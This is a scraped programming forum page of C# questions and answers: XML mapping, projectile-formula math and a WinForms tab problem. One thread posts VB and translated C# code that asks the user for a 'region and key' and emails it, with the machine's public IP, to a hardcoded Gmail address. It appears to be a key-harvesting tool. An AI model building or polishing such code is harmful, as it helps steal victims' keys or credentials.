|
Hi all,
I have a XML file in below format. Could you please give me some suggestion how to create a entity class for below format of xml.
<EasyRoot>
<ID>001</ID>
<Settings>
<Setting>testsetting1</Setting>
<Setting>testsetting2</Setting>
<Setting>testsetting3</Setting>
</Settings>
<Locations>
<Location>location1</Location>
<Location>location2</Location>
</Locations>
<Area>12000sf</Area>
</EasyRoot>
Regards
kv sekhar
|
|
|
|
|
|
I also encounter this problem.
good
|
|
|
|
|
Hi
Is there any open source for chat server and client in C#. I'm looking something similar to customer support chat system. That is you could have seen in many of the web sites where you can go and chat with the support people from there by just giving you name.
Thanks in advance ...
|
|
|
|
|
|
|
My first guess would be there are rounding errors. What types are your variables (range, angle, velocity, gravity).
Not 100% sure, but your formula looks correct to me at first sight, but I don't know the order of processing by heart (*,/,+,-).
I would inverse it though ((Math.Pow(velocity, 2)/gravity) * Math.Sin(angle*2) so it reflects closer the formula (and add the site and formula as comment for later usage )
hint: better one pair of brackets too much, then one pair too few.
hope this helps.V.
|
|
|
|
|
Don't use Math.Pow(x, 2) , but I don't think that's the problem here.
The problem also isn't the precedence or associativity, (A/B)*C (original formula) equals (C * A)/B (which is what precedence and associativity resolves your code to)
There doesn't appear to be any problem.. but see below.
Suggested replacement: ((velocity * velocity) / gravity) * Math.Sin(angle * 2)
Reasoning: For people reading your code (including yourself) it's easier to see that this code really calculates that formula. Also, Pow(x, 2) equals x*x (mathematically speaking), but Math.Pow is both inefficient and inaccurate, and gives surprising results in some cases (as documented here[^]) most notably raising a negative number to a non-integral power (not the case here). Math.Pow is something I would avoid unless I really had no choice.
|
|
|
|
|
The other thing to just check - your angle is in radians, right? Because Math.Sin is... You should never use standby on an elephant. It always crashes when you lift the ears. - Mark Wallace
|
|
|
|
|
turns out the last post was right about radians and degrees , i just converted them.
So if math.pow is so unrealiable why was it put in the maths libary? seems very short sighted considering its crucial to many calculations
|
|
|
|
|
for the height i have
h = vi pow 2 sin pow 2 angle / 2g
http://en.wikipedia.org/wiki/Trajectory#Range_and_height[^]
better laid out there
I have
maxheight = velocity * velocity * Math.Sin(angle * angle) / gravity * 2;
yet the wrong answer, i'm not great at maths but am i reading that right or somewhere making a mistake?
|
|
|
|
|
|
bump really important lol
|
|
|
|
|
sallam
man 1 soal dashtam
har ki mitone javab bede be man khabar bede
soalam dar movred visual besic hast
tank
|
|
|
|
|
|
نیتروژن مایع[^] Dalek Dave: There are many words that some find offensive, Homosexuality, Alcoholism, Religion, Visual Basic, Manchester United, Butter.
|
|
|
|
|
Hello!
Iam quite new here, and I have a problem.
Iam a begginer in C#. I want to write a console app, which can send email.
I have a VB source code, and I cant translate it to C#, so:
-Does anyone know how to translate/convert this VB source code to C#?
Thank you very much!
Imports System.Net.Mail
Module Module1
Public Region As String
Public Key As String
Sub Main()
Console.WriteLine("Hello! Ird be az országot és a kodot!")
Region = Console.ReadLine
Key = Console.ReadLine
Sendmail()
End Sub
Sub Sendmail()
Dim WC As New System.Net.WebClient
Dim MyMailMessage As New MailMessage
MyMailMessage.From = New MailAddress("ferike112@gmail.com")
MyMailMessage.To.Add("ferike112@gmail.com")
MyMailMessage.Subject = ("Region:" & Region & "Their IP is: " & System.Text.Encoding.ASCII.GetString((WC.DownloadData("http://whatismyip.com/automation/n09230945.asp"))))
WC.Dispose()
MyMailMessage.Body = ("REGION: " & Region & vbCrLf & "Key: " & Key)
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("ferike112@gmail.com", "********")
SMTPServer.EnableSsl = True
Try
SMTPServer.Send(MyMailMessage)
Catch ex As SmtpException
'MessageBox.Show(ex.Message)
End Try
End Sub
End Module
|
|
|
|
|
Please don't repost questions.
|
|
|
|
|
<code>using System.Net.Mail;
internal static class Module1
{
public static string Region;
public static string Key;
public static void Main()
{
Console.WriteLine("Hello! Ird be az országot és a kodot!");
Region = Console.ReadLine();
Key = Console.ReadLine();
Sendmail();
}
public static void Sendmail()
{
System.Net.WebClient WC = new System.Net.WebClient();
MailMessage MyMailMessage = new MailMessage();
MyMailMessage.From = new MailAddress("ferike112@gmail.com");
MyMailMessage.To.Add("ferike112@gmail.com");
MyMailMessage.Subject = ("Region:" + Region + "Their IP is: " + System.Text.Encoding.ASCII.GetString((WC.DownloadData("http://whatismyip.com/automation/n09230945.asp"))));
WC.Dispose();
MyMailMessage.Body = ("REGION: " + Region + System.Environment.NewLine + "Key: " + Key);
SmtpClient SMTPServer = new SmtpClient("smtp.gmail.com");
SMTPServer.Port = 587;
SMTPServer.Credentials = new System.Net.NetworkCredential("ferike112@gmail.com", "********");
SMTPServer.EnableSsl = true;
try
{
SMTPServer.Send(MyMailMessage);
}
catch (SmtpException ex)
{
//MessageBox.Show(ex.Message)
}
}
}</code>
David Anton
Convert between VB, C#, C++, & Java
www.tangiblesoftwaresolutions.com
|
|
|
|
|
Hi first time for me here at Code Project...
I hope I am right here, with my problem.
I want to copy all controls from the base Form to Tab if a Button is pressed.
The script works so far. Because of that I wanted to write it down in a class.
Now I have the Problem that I dont know what I should send the Function, which parameter..
Please could sbody help me I left 3 hours on this problem :P
Thanks in advance
Here is the Code :
public void Create_Tabs(Control.ControlCollection controls)
{
TabControl tabControl1 = new System.Windows.Forms.TabControl();
TabPage tabPage1 = new System.Windows.Forms.TabPage();
TabPage tabPage2 = new System.Windows.Forms.TabPage();
Control[] c = new Control[controls.Count];
controls.CopyTo(c, 0);
foreach (Control ctr in c)
{
if (ctr is MenuStrip) { }
else tabPage1.Controls.Add(ctr);
}
#region tabControl1,TabPages Definitionen
#endregion
controls.Add(tabControl1);
tabControl1.Controls.Add(tabPage1);
tabControl1.Controls.Add(tabPage2);
}
And here is the call to the function, an also the Problem :
Tab.Create_Tabs( ????? );
"Controls" does not work
Hope it is not to long...
|
|
|
|
|
Hi,
welcome to CodeProject.
Sueberl wrote: "Controls" does not work
that is not informative. If it won't compile, give us the error message; if it compiles but won't run, give us the symptoms.
What you are trying to do seems very strange to me; I've never felt the urge to copy controls from one location to another; I would rather design a UserControl and then instantiate it, which isn't exactly the same, as you are copying the controls with their entire state (such as the content of TextBoxes or ListBoxes, the checks of CheckBoxes, etc). Which I can't imagine one would want.
Anyway, Tab.Create_Tabs(Controls); looks like a correct statement to me.
Luc Pattyn [Forum Guidelines] [Why QA sucks] [My Articles]
I only read code that is properly formatted, adding PRE tags is the easiest way to obtain that. All Toronto weekends should be extremely wet until we get it automated in regular forums, not just QA.
|
|
|
|
|
Wow THX for the quick answer
imagine u have the Controls to do something on the base Form (without an Tab) if u press a button u have on the first Tab the Controls and for example the results of the product (what u control) on the other one. Thats my motivation.
ahm the error below: ( I translated it from german)
Error 1 For the non-static field, method, or property "Tab.Create_Tabs(System.Windows.Forms.Control.ControlCollection)" is an object reference is required
Hope this helps.
Controls in my case is where all Controls from the Form are in.
|
|
|
|
|
Making no assumptions about your variable naming,
Where is your Create_Tabs method declared?
What is Tab ?
|
|
|
|
|
Hi,
1.
when you call X.Y() either X is a class name and Y() is a static method inside X, or X is an instance of some class holding a non-static method Y().
I assume Tab is the name of the class holding the code you've shown, that makes it an invalid mix of the two valid cases I just mentioned.
2.
I would start with a form that holds a TabControl with one tab holding all Controls of interest. Then add a second tab as appropriate; nothing needs copied/moved as I understand it.
Luc Pattyn [Forum Guidelines] [Why QA sucks] [My Articles]
I only read code that is properly formatted, adding PRE tags is the easiest way to obtain that. All Toronto weekends should be extremely wet until we get it automated in regular forums, not just QA.
modified on Tuesday, February 16, 2010 9:25 PM
|
|
|
|
|
Thanks Luc and hammerstein for your help!
Really nice from u two
I forgot to create the new class, so i forgot the following line
Now it works fine thx.
Class_Tab Tab = new Class_Tab();
hmm i feel kind of ashamed ....
Thanks again...
|
|
|
|